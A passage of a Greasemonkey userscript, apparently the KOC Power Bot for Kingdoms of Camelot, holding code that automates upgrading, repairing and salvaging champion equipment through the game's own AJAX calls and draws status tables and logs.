		var y = unsafeWindow.kocChampionItems;
		for(i in y) {
			logit('i is '+i);
//			if(!y[i].isBroken) {
			if(y[i].status == 1) {
				logit('and is not broken '+i);
				t.doUpgradesimple(i);
				setTimeout(t.doUpgradeAll,2000);
				break;
			};
		}
	},
      
    doUpgradesimple : function(item) {
        var t = Tabs.Champion;
        var cityid = 0;
        var cidarray = [];
        for (var k in Cities.byID) {//added more than 50k to stop spending gems by accident
            if (Seed.resources["city"+k]["rec5"][0] > parseInt(50000))
            {
            cidarray.push(k);
            }
        }
        if(cidarray.length > 0)
        cityid = cidarray[Math.floor(Math.random() * cidarray.length)];
        if(cityid == 0){
           return;    
        }
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.action = 5;
        params.eid = item;
        params.chanceItem = 0;
        params.aetherstones = t.UpgradeCost[1];
	params.gems = 0;
        params.cityId = cityid;
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/ceEquipmentManagerAjax.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                if(rslt.ok){
                if (rslt.updateSeed)
                  unsafeWindow.update_seed(rslt.updateSeed);
					var y = unsafeWindow.kocChampionItems[params.eid];
                    if (rslt.gems > 0) {
                        document.getElementById('chShowStatus').innerHTML = 'UpgraderB accidentally spent gems!  Turning upgrader off!!';
                        ChampionOptions.Active = false;
                        saveChampionOptions();
                    };
                    Seed.resources["city" +cityid]["rec5"][0] -= rslt.aetherstones;
                    if (rslt["broken"]){
						ChampionOptions.ibrokeitems.push(params.eid);
//						y.isBroken = true;
                       y.brokenType = "level";
                       y.status = -3;
                       y.name = y.createName();
		       setTimeout(t.doRepair,5000);
					} else {
						y.level = rslt.level;
//                       y.rarity = rslt.rarity;
                       y.name = y.createName();
					};
//                    unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
//		    unsafeWindow.cm.ChampionPanelView.renderBroken(y);
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
                    saveChampionOptions();

                } 
                return;
            },
            onFailure: function () {
				logit('failure');
               return;
            },
        });   
    },
        
     doRepair : function() {
        var t = Tabs.Champion;
        //cid and aetherstone no longer charged for Champion repairs?!?
        /**
        var cityid = 0;
        for (var k in Cities.byID) {
            if ( Seed.resources["city"+k]["rec5"][0] > ChampionOptions.minStones)
            {
               cityid = k;
            }
        }
        if(cityid == 0){
           document.getElementById('chShowStatus').innerHTML = "Not enough aetherstone to enhance";
           return;    
        }
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.action = 6;
        if(ChampionOptions.ibrokeitems.length) params.eid = ChampionOptions.ibrokeitems[0];
        else params.eid = ChampionOptions.Items["0"]["id"];
	params.gems = 0;
        params.cityId = cityid;
                    **/
        if(ChampionOptions.ibrokeitems.length > 0)
        if(unsafeWindow.kocChampionItems[ChampionOptions.ibrokeitems[0]]) {
//        if(!unsafeWindow.kocChampionItems[ChampionOptions.ibrokeitems[0]].isBroken)ChampionOptions.ibrokeitems.shift();//if it's not broke, don't fix it! lol
        if(unsafeWindow.kocChampionItems[ChampionOptions.ibrokeitems[0]].status == 1)ChampionOptions.ibrokeitems.shift();//if it's not broke, don't fix it! lol
		} else ChampionOptions.ibrokeitems.shift();//if it's not there, remove it

        var cityid = 0;
        for (var k in Cities.byID) {
               cityid = k;
        }
        
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.action = 6;
	params.gems = 0;
        params.cityId = cityid;
        if(ChampionOptions.ibrokeitems.length > 0)params.eid = ChampionOptions.ibrokeitems[0];//If we still have a broken card, try fixing it
        else params.eid = ChampionOptions.Items["0"]["id"];
        
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/ceEquipmentManagerAjax.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                    if(rslt.ok){
                  ChampionOptions.RepairEnd = rslt.eta;
                  if(ChampionOptions.Items["0"]) {
					  if(params.eid != ChampionOptions.Items["0"]["id"]) ChampionOptions.ibrokeitems.shift();
					  else t.repairId = ChampionOptions.Items["0"]["id"];
				  } else ChampionOptions.ibrokeitems.shift();
                  unsafeWindow.seed.queue_champion = {};
                  unsafeWindow.seed.queue_champion.itemId= params.eid;
//                  Seed.queue_Champion.start=unixTime();
//                  Seed.queue_Champion.end= rslt.eta;
                  t.repairStart = rslt.start;
                  t.repairEnd = rslt.eta;
		  unsafeWindow.kocChampionItems[params.eid].status = 2; //2 for repair of enhance, 3 for repair of upgrade
		   t.setRepairTimer = setInterval (t.repairTimerUpdate,1000);
//                  unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
                  var x = rslt.eta - unixTime();
                  ChampionOptions.Good++;
                  saveChampionOptions();
               } else {  
				   if(rslt.error_code == 256) {
						unsafeWindow.kocChampionItems[params.eid].isBroken = false;
						unsafeWindow.kocChampionItems[params.eid].brokenType = "";
//						unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
//		    unsafeWindow.cm.ChampionPanelView.renderBroken(unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]])
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
				   };
				   //{"ok":false,"error_code":256,"msg":"Item is not broken"}  
                        ChampionOptions.Good++;
                        saveChampionOptions();
                   }        
                   return;
            },
            onFailure: function () {
               return;
            },
        });
    },

/***
    doEquip : function(n) {
        var t = Tabs.Champion;
        if (typeof(unsafeWindow.kocChampionItems[n]) == 'object') {
                var y = unsafeWindow.kocChampionItems[n];
        } else return;

        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        logit(n.toSource());
        params.ctrl = 'ChampionRoom\\ChampionRoomServiceAjax';
        params.action = 'equipItem';
        params.itemId = y.equipmentId;
        params.presetId = unsafeWindow.seed.champion.activeSlot;
                    
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                    if(rslt.ok){
                            unsafeWindow.cm.ChampionView.clickItemEquip(y);
                            t.FillEquipCheckboxes();
                   }
            },
            onFailure: function () {
               return;
            },
        });
    },
***/
/***  
  doUnequip : function(n,preset) {
        var t = Tabs.Champion;
        if (typeof(unsafeWindow.kocChampionItems[n]) == 'object') {
                var y = unsafeWindow.kocChampionItems[n];
        } else return;

        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        logit(n.toSource());
        params.ctrl = 'ChampionRoom\\ChampionRoomServiceAjax';
        params.action = 'unequipItem';
        params.itemId = y.equipmentId;
        params.presetId = document.getElementById("preset").value;
                    
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                    if(rslt.ok){
                            unsafeWindow.cm.ChampionView.clickItemUnequip(y);
                            t.FillEquipCheckboxes();
                   }
            },
            onFailure: function () {
               return;
            },
        });
    },
***/  

  repairTimerUpdate :function (){
        var t = Tabs.Champion;
        try {
            if (ChampionOptions.Items.length == 0) return;
            var now = new Date().getTime()/1000.0;
            var diff = 0;
//            if (Seed.queue_Champion.end == undefined) return;
//            else diff = Seed.queue_Champion.end - now;
            if (t.repairEnd == undefined) return;
            else diff = t.repairEnd - now;
            if (diff <0){
                clearInterval(t.setRepairTimer);
                if (ChampionOptions.Active) document.getElementById('chShowStatus').innerHTML = "Waiting for timer...";
                else document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
//					unsafeWindow.kocChampionItems[Seed.queue_Champion.itemId].isBroken = false;
//					unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
//                Seed.queue_Champion = "";
                return;
            } else {
//                  document.getElementById('chShowStatus').innerHTML = "Repairing on: " + unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].name + "<br/>Time left: " + timestr(diff)+ " ("+ timestr(Seed.queue_Champion.end - Seed.queue_Champion.start) + ")";
                  document.getElementById('chShowStatus').innerHTML = "Repairing on: " + unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].name + "<br/>Time left: " + timestr(diff)+ " ("+ timestr(t.repairEnd - t.repairStart) + ")";
                  document.getElementById('chShowTries').innerHTML = "Tries: " + ChampionOptions.Tries + "<br />Good requests: " + ChampionOptions.Good + "   Bad requests: " + ChampionOptions.Bad;
            }
        } catch (e){
            //do nothing
        }
  },

  paintInfo : function (){
        var t = Tabs.Champion;
        if (typeof(unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]]) == 'number') {
                var y = unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]];
        } else return;
          var id =0;
          var tier=0;
          var Current=0;
          var Next=0;
          m="<TABLE width=80% height=0% align='center' class=pbTab><TR><TD><B>Current</b></td><TD><B>Next</b></td>";
			for (i=1;i<=5;i++){
               id = y["effects"][""+i]["id"];
               tier = parseInt(y["effects"][""+i]["tier"]);
               level = y["level"];
//               p = unsafeWindow.cm.thronestats.tiers[id][tier];
               p = t.championStatTiers[id][tier];
               Current = p.base + ((level * level + level) * p.growth * 0.5);
               level++;
               Next = p.base + ((level * level + level) * p.growth * 0.5);;
               var quality = parseInt(unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]]["rarity"]);
               if (ChampionOptions.Items["0"]["action"] == "Enhance") {
                       if (i<=quality) m+='<TR><TD><FONT color=green>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td>';
                       else m+='<TR><TD><FONT color=red>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td>';
                       if (i<=(quality+1)) m+='<TD><FONT color=green>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td></tr>';
                       else m+='<TD><FONT color=red>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td></tr>';
               }
               if (ChampionOptions.Items["0"]["action"] == "Upgrade") {
                       if (i<=quality) m+='<TR><TD><FONT color=green>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td>';
                       else m+='<TR><TD><FONT color=red>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td>';
                       if (i<=quality) m+='<TD><FONT color=green>' + Next + "% " + t.championStatEffects[id]["1"] + '</font></td></tr>';
                       else m+='<TD><FONT color=red>' + Next + "% " + t.championStatEffects[id]["1"] + '</font></td></tr>';
             }    
        }
        m+="</table>"
        document.getElementById('chShowInfo').innerHTML = m;    

  },

paintHoover : function (){
    var t = Tabs.Champion;
    var z = document.getElementById('ChampionItems').value;
      var y = unsafeWindow.kocChampionItems[z];
    var id =0;
    var tier=0;
    var Current=0;
    m="<TABLE width=80% height=0% align='center' class=pbTab>";
    for (i=1;i<=5;i++){
        id = y["effects"][""+i]["id"];
        tier = parseInt(y["effects"][""+i]["tier"]);
        level = y["level"];
//        p = unsafeWindow.cm.thronestats.tiers[id][tier];
        p = t.championStatTiers[id][tier];
//logit('id:' +id+ ' tier:' +tier+ ' p.base:' +p.base+ ' p.growth:' +p.growth);
        Current = p.base + ((level * level + level) * p.growth * 0.5);
	if (ChampionOptions.Items["0"])
          var quality = parseInt(unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]]["rarity"]);
	else var quality = 0;
        if (i<=quality) m+='<TR><TD><FONT color=green>' + Current + " " + t.championStatEffects[id]["1"] + '</font></td></tr>';
        else m+='<TR><TD><FONT color=red>' + Current + " " + t.championStatEffects[id]["1"] + '</font></td></tr>';
    }
    m+="</table>"
    document.getElementById('chShowHoover').innerHTML = m;    

},

paintStones : function (){
    var t = Tabs.Champion;
    if(document.getElementById('chShowStones')) {
    m="<TABLE width=90% height=0% class=pbTab><TR><TD>Aetherstones: </td>";
    for (i=0;i<Seed.cities.length;i++) m+='<TD>' + Seed.cities[i]["1"] + '</td>';
    m+="</tr><TR><TD></td>"
    for (i=0;i<Seed.cities.length;i++) m+='<TD>' + addCommas(Seed.resources["city"+Seed.cities[i]["0"]]["rec5"][0]) + '</td>';
    m+="</tr></table>"
    document.getElementById('chShowStones').innerHTML = m;  
}  
},

addToLog : function (id,action,tries,good,bad){
    var t = Tabs.Champion;
    var now = new Date();
    var time = now.getDate() +"/"+ (now.getMonth()+1) +"/"+ now.getFullYear() +"  "+ now.getUTCHours() + ":" + now.getMinutes();
    var name = unsafeWindow.kocChampionItems[id]["name"];
    t.log.push ({time:time,name:name,action:action,tries:tries,good:good,bad:bad});
    if (t.log.length > 50) t.log.splice(0,1);
    GM_setValue ('ChampionHistory_'+getServerId(), JSON2.stringify(t.log));
},


addToSalvageLog : function (msg,stones){
    var t = Tabs.Champion;
    var now = new Date();
    D = t.addZero(now.getDate());
    M = t.addZero(now.getMonth()+1);
    Y = t.addZero(now.getFullYear());
    h = t.addZero(now.getHours());
    m = t.addZero(now.getMinutes());
    var time =  D +"/"+ M +"/"+ Y +"  "+ h + ":" + m;
    t.SalvageLog.push ({time:time,stones:stones,msg:msg});
    if (t.SalvageLog.length > 100) t.SalvageLog.splice(0,1);
    GM_setValue ('ChampionSalvageHistory_'+getServerId(), JSON2.stringify(t.SalvageLog));
},

addZero : function (i){
if (i<10)
  {
  i="0" + i;
  }
return i;
},


salvageCheck : function (){
    var t = Tabs.Champion;
    var del = false; //false by default
    var level = false;
    var type ="";
    var type2 ="";
    var NotUpgrading = true;
   var NotFavorite = true;
   var MinReq = false;
    var number = 0;
    var count=0;
    var IsUnique = false;
    if(!Options.ChampionDeleteItems) return;
    if (t.SalvageRunning == true) return;
    t.SalvageRunning = true;
    for (m in unsafeWindow.kocChampionItems) {
        y = unsafeWindow.kocChampionItems[m];
        level = false;
        type = "";
        type2 = "";
        NotUpgrading = true;
      NotFavorite = true;
      MinReq = false;
        number = 0;
        count++;
        if (typeof(y.equipmentId) == 'number') {
            NotUpgrading = true;
         NotFavorite = true;
            for (k in ChampionOptions.Items) {if (ChampionOptions.Items[k]["id"] == y.equipmentId) NotUpgrading = false;}
//           if (count<=(parseInt(Seed.champion.rowNum)*5) && count>ChampionOptions.saveXitems) {
           if (count<=128 && count>ChampionOptions.saveXitems) {
                    //del = true;
                    level = false;
               MinReq = false;
               IsUnique = false;
               IsHero = false;
                    if (y.rarity > ChampionOptions.SalvageQuality) level=true;
                    if(y.level > 0) level = true;
//                    if(ChampionOptions.SaveUnique) if(y.unique > 0) IsUnique = true;
                    if(ChampionOptions.SaveUnique) if(y.rarity > 5) IsUnique = true;
                    if (ChampionOptions.SalvageQuality == 0) level=true;
//					     if (ChampionOptions.savehero && y.type=="hero") IsHero = true;                    
                    
                    for (i=1;i<=5;i++){
                  if (ChampionOptions.Salvage_fav[y.effects[""+i].id]) {NotFavorite= false;};
                  
                     for (l=0;l<t.championStatEffects[y.effects[""+i].id]["2"].length;l++) {
                            type = t.championStatEffects[y.effects[""+i].id]["2"][l];
                                if(ChampionOptions.Salvage[type]){
                           if(!ChampionOptions.SingleStat)number++
                           else {
                              if(i>=ChampionOptions.SalvageLevel || ChampionOptions.SalvageA[type].Min > ChampionOptions.SalvageLevel) {
                           if(!ChampionOptions.SalvageA[type].cur)ChampionOptions.SalvageA[type].cur = 0;
                                 ChampionOptions.SalvageA[type].cur++;
                              };
                           };
                        };
                        };
                                if(ChampionOptions.Salvage[y.effects[""+i].id]){
                        if(!ChampionOptions.SingleStat)number++
                        else {
                           if(i>=ChampionOptions.SalvageLevel || ChampionOptions.SalvageA[y.effects[""+i].id].Min > ChampionOptions.SalvageLevel || ChampionOptions.SalvageA[y.effects[""+i].id][y.type] > ChampionOptions.SalvageLevel) {
                                    if(!ChampionOptions.SalvageA[y.effects[""+i].id].cur)ChampionOptions.SalvageA[y.effects[""+i].id].cur = 0;
                              ChampionOptions.SalvageA[y.effects[""+i].id].cur++;
                           };
                        };
                     };
                        };
                    if(ChampionOptions.Championkeep < 1) ChampionOptions.Championkeep = 1;
                    if(ChampionOptions.SingleStat) {
                        for (h in ChampionOptions.Salvage) {
                        if(ChampionOptions.Salvage[h] && ChampionOptions.SalvageA[h].Min > 0 && ChampionOptions.SalvageA[h].cur >= ChampionOptions.SalvageA[h].Min) {
                          // logit(''+ChampionOptions.Salvage[h]+' && '+ChampionOptions.SalvageA[h].Min+' > 0 && '+ChampionOptions.SalvageA[h].cur+' >= '+ChampionOptions.SalvageA[h].Min);
                              MinReq = true;
                           }; 
                        if(ChampionOptions.Salvage[h] && ChampionOptions.SalvageA[h][y.type] && ChampionOptions.SalvageA[h][y.type] > 0 && ChampionOptions.SalvageA[h].cur >= ChampionOptions.SalvageA[h][y.type]) {
                         //  logit(''+ChampionOptions.Salvage[h]+' && '+ChampionOptions.SalvageA[h].Min+' > 0 && '+ChampionOptions.SalvageA[h].cur+' >= '+ChampionOptions.SalvageA[h].Min);
                             // MinReq = true;
                              logit('saving '+y.name+' due to '+y.type+' and '+h);
                           }; 
                            if(ChampionOptions.SalvageA[h].cur >= ChampionOptions.Championkeep)
                            if(ChampionOptions.SalvageA[h].Min == 0)
                                number = ChampionOptions.SalvageA[h].cur;
                            if(ChampionOptions.SalvageA[h].cur) {
                                ChampionOptions.SalvageA[h].cur = 0;};
                        }
                    }
//                    [09:01:07.833] "[KOCPowerBot@mat]" "373 @ 09:01:07.833: y.name Common Sword of Lethargy +0 level true number 0 ChampionOptions.Championkeep 2 NotUpgrading true isEquiped undefined y.isbroken undefined y.equipmentId 283043 last deleted 0 NotFavorite true MinReq false is unique false"
                 //   logit('y.name '+y.name+' level '+level+' number '+number+' ChampionOptions.Championkeep '+ChampionOptions.Championkeep+' NotUpgrading '+NotUpgrading+' isEquiped '+(y.equippedTo == 0)+' y.isbroken '+(y.status == 1)+' y.equipmentId '+y.equipmentId+' last deleted '+t.LastDeleted+' NotFavorite '+NotFavorite+' MinReq '+!MinReq+' is unique '+!IsUnique);
//                    if (!level && number < ChampionOptions.Championkeep && NotUpgrading && !y.isEquipped && !y.isBroken && t.LastDeleted != y.equipmentId && NotFavorite && !MinReq && !IsUnique && !IsHero) {
	                  //  logit ((!level) +'&&'+ (number < ChampionOptions.Championkeep) +'&&'+ (NotUpgrading) +'&&'+ (y.equippedTo == 0) +'&&'+ (y.status == 1) +'&&'+ (t.LastDeleted != y.equipmentId) +'&&'+ NotFavorite +'&&'+ (!MinReq) +'&&'+ (!IsUnique) +'&&'+ (!IsHero));
                    if (!level && number < ChampionOptions.Championkeep && NotUpgrading && y.equippedTo == 0 && y.status == 1 && t.LastDeleted != y.equipmentId && NotFavorite && !MinReq && !IsUnique && !IsHero) {
               //   logit(y.name);
                        t.SalvageArray.push(y.equipmentId);
                    }                     
            }
        }
    }
    if (t.SalvageArray.length == 0) {
        t.SalvageRunning = false;        
    } else setTimeout(t.doSalvage, 6000);        
}, 

doSalvage : function(){
        var t = Tabs.Champion;    
        var cityid = 0;
        var cities = [];
        var spirecities = [];
        if(ChampionOptions.Cityrand)
        for (g = 50000;g < 1150001;g+=50000) {
         for (var k in Cities.byID) {
            if (Seed.resources["city"+k]["rec5"][0] < g)
            {
               var a = getCityBuilding(k,20);
               if (a.count == 1)
                  spirecities.push(k);
               cities.push(k);
            }
         }
          if(ChampionOptions.CitySpire && spirecities.length)
            break;
          if(!ChampionOptions.CitySpire && cities.length)
            break;
        } else
         for (var k in Cities.byID) {
            if (Seed.resources["city"+k]["rec5"][0] < 1000000)
            {
               var a = getCityBuilding(k,20);
               if (a.count == 1)
                  spirecities.push(k);
               cities.push(k);
            }
         }
        
        //logit('g is '+g);
        if(ChampionOptions.CitySpire){
            if (spirecities.toSource != "[]")
                cities = spirecities;
        }
        if (cities.toSource() != "[]"){
            if (ChampionOptions.Cityrand) {
                cityid = cities[Math.floor(Math.random()*cities.length)];
            }else{
                cityid = cities[0];
            }
        }
        if (cityid == 0) cityid = Seed.cities[0][0]; //If all else failss default to city 1
        //logit('cityid '+cityid+' res'+Seed.resources["city"+cityid]["rec5"][0])
        if(ChampionOptions.heatup)t.doUpgradesimple(t.SalvageArray[0]);
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.action = 8;
        params.eids = t.SalvageArray[0];
        params.cityId = cityid;
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/ceEquipmentManagerAjax.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                if(rslt.ok){
                    y =  unsafeWindow.kocChampionItems[params.eids];
                    z = t.championStatEffects;
                    var msg = (y.name + " (" + z[y.effects["1"].id]["2"] + "/"+ z[y.effects["2"].id]["2"]+ "/"+ z[y.effects["3"].id]["2"]+ "/"+ z[y.effects["4"].id]["2"]+ "/"+ z[y.effects["5"].id]["2"] +")");
                    t.addToSalvageLog(msg,rslt.aetherstones);
               delete unsafeWindow.kocChampionItems[params.eids];
//               unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
                    //unsafeWindow.kocChampionItems[params.eids].salvage();
                    if(t.curTabName == 'EQ')
                  t.FillEquipCheckboxes();
                }
                else {
                    t.addToSalvageLog("Salvage Failed :(","");
                }
            },
            onFailure: function () {
                    return;
            },
        });
        t.SalvageArray.splice(0,1);
        t.LastDeleted = params.itemId;
        if (t.SalvageArray.length > 0) setTimeout(t.doSalvage, 6000);
        else {
            t.SalvageRunning = false;
            t.salvageCheck();
        }
},
/***
ChampionHUDinit : function (){
	var t = Tabs.Champion;
	var div = document.createElement('div');
	var m = '<TABLE height=0% class=pbTab><TR align="center">';
    for (var k=1;k<Number(Seed.champion.slotNum+1);k++) {
		if(k == 9)m+='</TR><TR align="center">';
       m += '<TD><INPUT id=htra'+k+' type=submit value='+k+' class="pbttabs" title='+ChampionOptions.tabnames[k]+'></td>';
    };
    m += '</TR></table><br>';
	div.innerHTML = m;
	div.style.position="absolute";
	div.style.top="29px";
	div.style.right="170px";
	div.id="ChampionHUD";
	div.style.zIndex="20000";
	par=document.getElementById('mod_maparea');
	par.insertBefore(div,par.firstChild);
	for (var k=1;k<Number(Seed.champion.slotNum+1);k++)
		document.getElementById('htra'+k).addEventListener ('click', function(e){t.doPreset(e.target.value)}, false);
	document.getElementById('htra'+unsafeWindow.seed.champion.activeSlot).disabled = true;
	document.getElementById('htra'+unsafeWindow.seed.champion.activeSlot).className = "pbttabsdis";

	try {
	    function hudSlotWatcher(id, oldval, newval) {
	        try {
	            setTimeout(Tabs.Champion.ChampionHUDredraw,200);
	        } catch (e) {}
	        return newval;
	    };


	    // If the preset is changed, update the displays
	    Seed.champion.multiWatch("activeSlot", hudSlotWatcher);

	    // some of the seed updates replace the seed.champion value.  when this happens reinstall the watcher
	    Seed.multiWatch("Champion", function (id, oldval, newval) {
	        // register with the seed so we know when the Champion object is replaced
	        try {
	            // add a new watcher / remove the old one
	            if (oldval.multiUnwatch) oldval.multiUnwatch("activeSlot", hudSlotWatcher);

	            // if another script create this object, the prototypes won't be defined.  If so, add the functions manually
	            if (!newval.multiWatch) {
	                newval.multiWatch = Object.prototype.multiWatch;
	                newval.multiUnwatch = Object.prototype.multiUnwatch;
	            }

	            newval.multiWatch("activeSlot", hudSlotWatcher);
	        } catch (e) {
	            logit( " Error in handler for Champion watch" + e.toString());
	        }

	        return newval;
	    });
	} catch (e) { }

},
***/
/***
ChampionT : function (){
        var t = Tabs.Champion;    
     var m = '<DIV  class=pbStat>Champion room toggle</div><center><TABLE height=0% class=pbTab><TR align="center">';
            for (var k=1;k<Number(Seed.champion.slotNum+1);k++) {
                 m += '<TD><INPUT id=autotr'+k+' type=checkbox '+ (ChampionOptions.autotoggle[k]?'CHECKED ':'') +'/><INPUT id=tra'+k+' type=submit value='+k+'><br><input type="text" id=trt'+k+' size=10 value='+ChampionOptions.tabnames[k]+'></td>';
                 if(k == 8)m+='</TR><TR>';
                 
                 };
            m += '</TR></table>'+translate('Will auto change to checked Champion rooms and rotate when afk')+'<br><br><button id=ttptc>Post to chat</button> <br>';
            m+='<table><TD><DIV id=ChampionTRS></div></td></table>';
            t.Overv.innerHTML = m;
            for (var k=1;k<Number(Seed.champion.slotNum+1);k++) {
            	document.getElementById('tra'+k).addEventListener ('click', function(e){t.doPreset(e.target.value)}, false);
            	document.getElementById('trt'+k).addEventListener ('change', function(){ChampionOptions.tabnames[Number(String(this.id).replace(/trt/,""))] = this.value;saveChampionOptions();}, false);
            	document.getElementById('autotr'+k).addEventListener ('click', function(){ChampionOptions.autotoggle[Number(String(this.id).replace(/autotr/,""))] = this.checked; saveChampionOptions();}, false);
         	};
            t.TTpaint(unsafeWindow.seed.champion.activeSlot);
            document.getElementById('tra'+unsafeWindow.seed.champion.activeSlot).disabled = true;
            document.getElementById('ttptc').addEventListener('click', t.TTpoststats, false);
},
***/

TTpaint : function(room) {
        var t = Tabs.Champion;
         m = '<table><td><DIV  class=pbStat>Champion slot '+room+' is equiped</div></td></table><br>';
            for (var k=0;k<unsafeWindow.seed.champion.slotEquip[room].length;k++) {
               var item = unsafeWindow.seed.champion.slotEquip[room][k];
               m += '<li>'+unsafeWindow.kocChampionItems[item].name;
            };
           if(document.getElementById('ChampionTRS'))
          document.getElementById('ChampionTRS').innerHTML = m;  
          setTimeout(t.TTpaintstats,300);
},

TTpaintstats : function () {
	if(!document.getElementById('ChampionTRS'))return;
   if(document.getElementById('ChampionTRS').innerHTML.indexOf('The below values are alpha and may not be accurate') != -1)return;
            m= document.getElementById('ChampionTRS').innerHTML;
         m+='<br><table><font color=red>The below values are alpha and may not be accurate<br> please inform of inaccuracies via https://code.google.com/p/koc-power-bot/issues/list</font>';
         for(i in t.Effects) {
//            var z = unsafeWindow.cm.ChampionController.effectBonus(Number(i));
	    var z = equippedChampionstats(Number(i));
            if(z != 0) {
            m+='<tr><td>'+t.championStatEffects[i][1]+'</td><td>'+z+'%</td></tr>';
                }
         };
         m+='</table></div>';
          document.getElementById('ChampionTRS').innerHTML = m;  
},

/***
TTpoststats : function () {
	var m = ':::.|Champion Room #'+unsafeWindow.seed.champion.activeSlot;
         for(i in t.Effects) {
			 if(i<94){
         var z = unsafeWindow.cm.ThroneController.effectBonus(Number(i));
         if(z != 0) {
            m+='||'+unsafeWindow.cm.thronestats.effects[i][1]+': '+z+'%';
                }
         };
	 };
    sendChat ("/a "+  m);

},
***/
/***
ChampionHUDredraw : function () {
	var trm = unsafeWindow.seed.champion.activeSlot;
			if(document.getElementById('tra'+trm)) {
				for(a = 1;a <= Seed.champion.slotNum;a++)
				document.getElementById('tra'+a).disabled = false;
               document.getElementById('tra'+trm).disabled = true;
			};
			 if(document.getElementById('ChampionHUD')) {
				for(a = 1;a <= Seed.champion.slotNum;a++) {
				document.getElementById('htra'+a).disabled = false;
				document.getElementById('htra'+a).className = "pbttabs";
			};
				document.getElementById('htra'+trm).disabled = true;
				document.getElementById('htra'+trm).className = "pbttabsdis";
			};	
},
***/

/***
rotateChampion : function () {
	var t = Tabs.Champion;
	if(isAFK && !Options.alertConfig.RecentActivity){
		var activeSlot = Number(Seed.champion.activeSlot);
		var foundone = false;
	for(k=activeSlot+1;k <=  Number(Seed.champion.slotNum);k++){
				if(ChampionOptions.autotoggle[k]) {
				t.doPreset(k);
				foundone = true;
				break;
			}
	}
	
	if(!foundone) {
		for(k = 1;k<=Number(Seed.champion.slotNum);k++){
				if(ChampionOptions.autotoggle[k]) {
				t.doPreset(k);
				foundone = true;
				break;
			}
		}
	}
		
		
		
		
// Complex loop that browsers can't handle =/. replaced with multiple loops above.		
//		
//			for (k=activeSlot+1;k != activeSlot;k++) {
//				if(k > Number(Seed.champion.slotNum)) k = 1;
//				//logit('k is '+k);
//				if(ChampionOptions.autotoggle[k]) {
//				t.doPreset(k);
//				break;
//			}
//		}
		
		
		
	}
},
***/

hide : function (){
},

show : function (){
    var t = Tabs.Champion;
    if (t.curTabName == 'Sal') 
      t.Salvage();
    else if (t.curTabName == 'UE')
      t.Upgrade_Enhance();
    else if (t.curTabName == 'EQ')
      t.Compare();
//    else if (t.curTabName == 'TC')
//      t.Caps();
//    else if (t.curTabName == 'TR')
//      t.ChampionT();
    else if (t.curTabName == 'UN')
      t.Uniques();
    else if (t.curTabName == 'AS')
      t.Assign();
  }, 
}



function saveChampionOptions() {
    var serverID = getServerId();
    setTimeout(function () {
        GM_setValue('ChampionOptions_' + serverID, JSON2.stringify(ChampionOptions));
    }, 0);
}

function readChampionOptions() {
    var serverID = getServerId();
    s = GM_getValue('ChampionOptions_' + serverID);
    if (s != null) {
        opts = JSON2.parse(s);
        for (k in opts) {
            if (matTypeof(opts[k]) == 'object')
            for (kk in opts[k])
               ChampionOptions[k][kk] = opts[k][kk];
            else ChampionOptions[k] = opts[k];
        }
    }
}


function ChatComOverlay () {
	if(!document.getElementsByClassName('postaction')[0].getElementsByClassName('button20')[0])return;//safety
	thebutton = document.getElementsByClassName('postaction')[0].getElementsByClassName('button20')[0];
	thebutton.onclick=function(){OSendChat()};
	var overlay = document.createElement("div");
	var mod_comm_input = document.getElementById('mod_comm_input');
  overlay.setAttribute("id","overlay");
  overlay.setAttribute("class", "overlay");
  mod_comm_input.hidden=true;
  mod_comm_input.parentNode.appendChild(overlay);
